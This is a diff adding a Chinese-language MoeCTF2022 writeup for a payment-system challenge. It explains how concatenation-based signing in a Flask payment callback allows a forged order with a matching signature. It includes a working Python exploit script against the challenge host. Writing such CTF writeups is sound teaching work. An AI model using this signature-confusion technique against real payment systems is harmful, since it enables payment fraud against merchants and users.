|
| 1 | +--- |
| 2 | +date: 2022-10-31 |
| 3 | +title: MoeCTF2022 支付系统 Writeup |
| 4 | +author: Frank |
| 5 | +--- |
| 6 | + |
| 7 | +## 背景 |
| 8 | + |
| 9 | +这是一道来历挺有意思的题:虽然碍于某些规定不能细说,但是确实是现实生活中出现的case简化而成的题目。 |
| 10 | +本来希望做成有多层身份(用户、商户、平台、渠道等),多级目标的题目,但多次简化后发现问题根源单一且难度不大,遂出成了仅有单个身份(用户)以及单个目标(买flag)的MoeCTF的题目。 |
| 11 | + |
| 12 | +总的来说是一道考验脑经急转弯的题目,但是对于新生而言,作为一道500分的题目,我对新生的期待至少有以下几点: |
| 13 | + |
| 14 | +* 掌握Python的基础语法 |
| 15 | +* 掌握Flask框架的基础用法 |
| 16 | + * 如果能进一步了解orm的作用以及用法那就再好不过了,但要解出题目其实不需要 |
| 17 | +* 能在一周时间左右耐心阅读完这段对于编写过一段时间代码的同学并不长的代码 |
| 18 | +* 能通过代码准确判断出出题人的意图 |
| 19 | +* 能通过逻辑分析对可能的攻击点进行分层次的排查 |
| 20 | + |
| 21 | +## 思路 |
| 22 | + |
| 23 | +首先阅读代码,这是基本功。我们看到 `/pay` 接口可以为我们充值,并且了解到用户是通过 `session` 进行标识的。 |
| 24 | +通过Flask框架的基础学习,不难了解到Flask的session在无法取得secret_key的情况下是无法篡改的,所以排除掉直接修改session中的余额这一思路。 |
| 25 | +发现 `/callback` 接口可以接受参数而***改变一笔订单的状态***,并利用 `sign` 参数对其它参数的值进行校验。仔细观察校验方式,可以发现校验的信息为简单的字符串拼接。 |
| 26 | +此时需要动脑:要绕过这一个校验无非有两种可能: |
| 27 | + |
| 28 | +* 伪造任意数据,并生成签名 `sign`。要达成这一目标我们需要 `secret_key`,但由于 `secret_key` 为随机生成,且没有泄露途径,这一方案可以排除 |
| 29 | +* 伪造特定的数据,使伪造的数据与通过 `/pay` 接口产生的数据签名相同。 |
| 30 | + |
| 31 | +不难发现我们应当采用第二种方式: |
| 32 | + |
| 33 | +在没有 `secret_key` 的情况下,思考如何构造两组签名相同的数据,在签名函数安全的前提下,不如思考如何构造两组数据,使得其在签名前的**数据本身**相同 |
| 34 | + |
| 35 | +对于字符串拼接,我们可以发现: |
| 36 | + |
| 37 | +`aa+b == a+ab` |
| 38 | + |
| 39 | +脑经急转弯结束。 |
| 40 | + |
| 41 | +## exploit |
| 42 | + |
| 43 | +```python |
| 44 | +from requests import session |
| 45 | +import re |
| 46 | +ses = session() |
| 47 | +loc = ses.get('http://fake-pay.moectf.challenge.ctf.show/pay', params={'amount': 2000, 'desc': ''}, allow_redirects=False).headers['location'] |
| 48 | +detail = ses.get(f'http://fake-pay.moectf.challenge.ctf.show{loc}').text |
| 49 | +h = re.findall(r'[0-9a-f]{64}', detail)[0] |
| 50 | +u = re.findall(r'[0-9a-f]{8}-[0-9a-f\-]{27}', detail)[0] |
| 51 | +print(ses.post('http://fake-pay.moectf.challenge.ctf.show/callback', data={ |
| 52 | + 'id': loc.split('=')[1], |
| 53 | + 'user': u, 'hash': h, |
| 54 | + 'amount': 200, 'status': 0, |
| 55 | + 'desc': '2', |
| 56 | +}).text) |
| 57 | +print(ses.get('http://fake-pay.moectf.challenge.ctf.show/flag').text) |
| 58 | +``` |
0 commit comments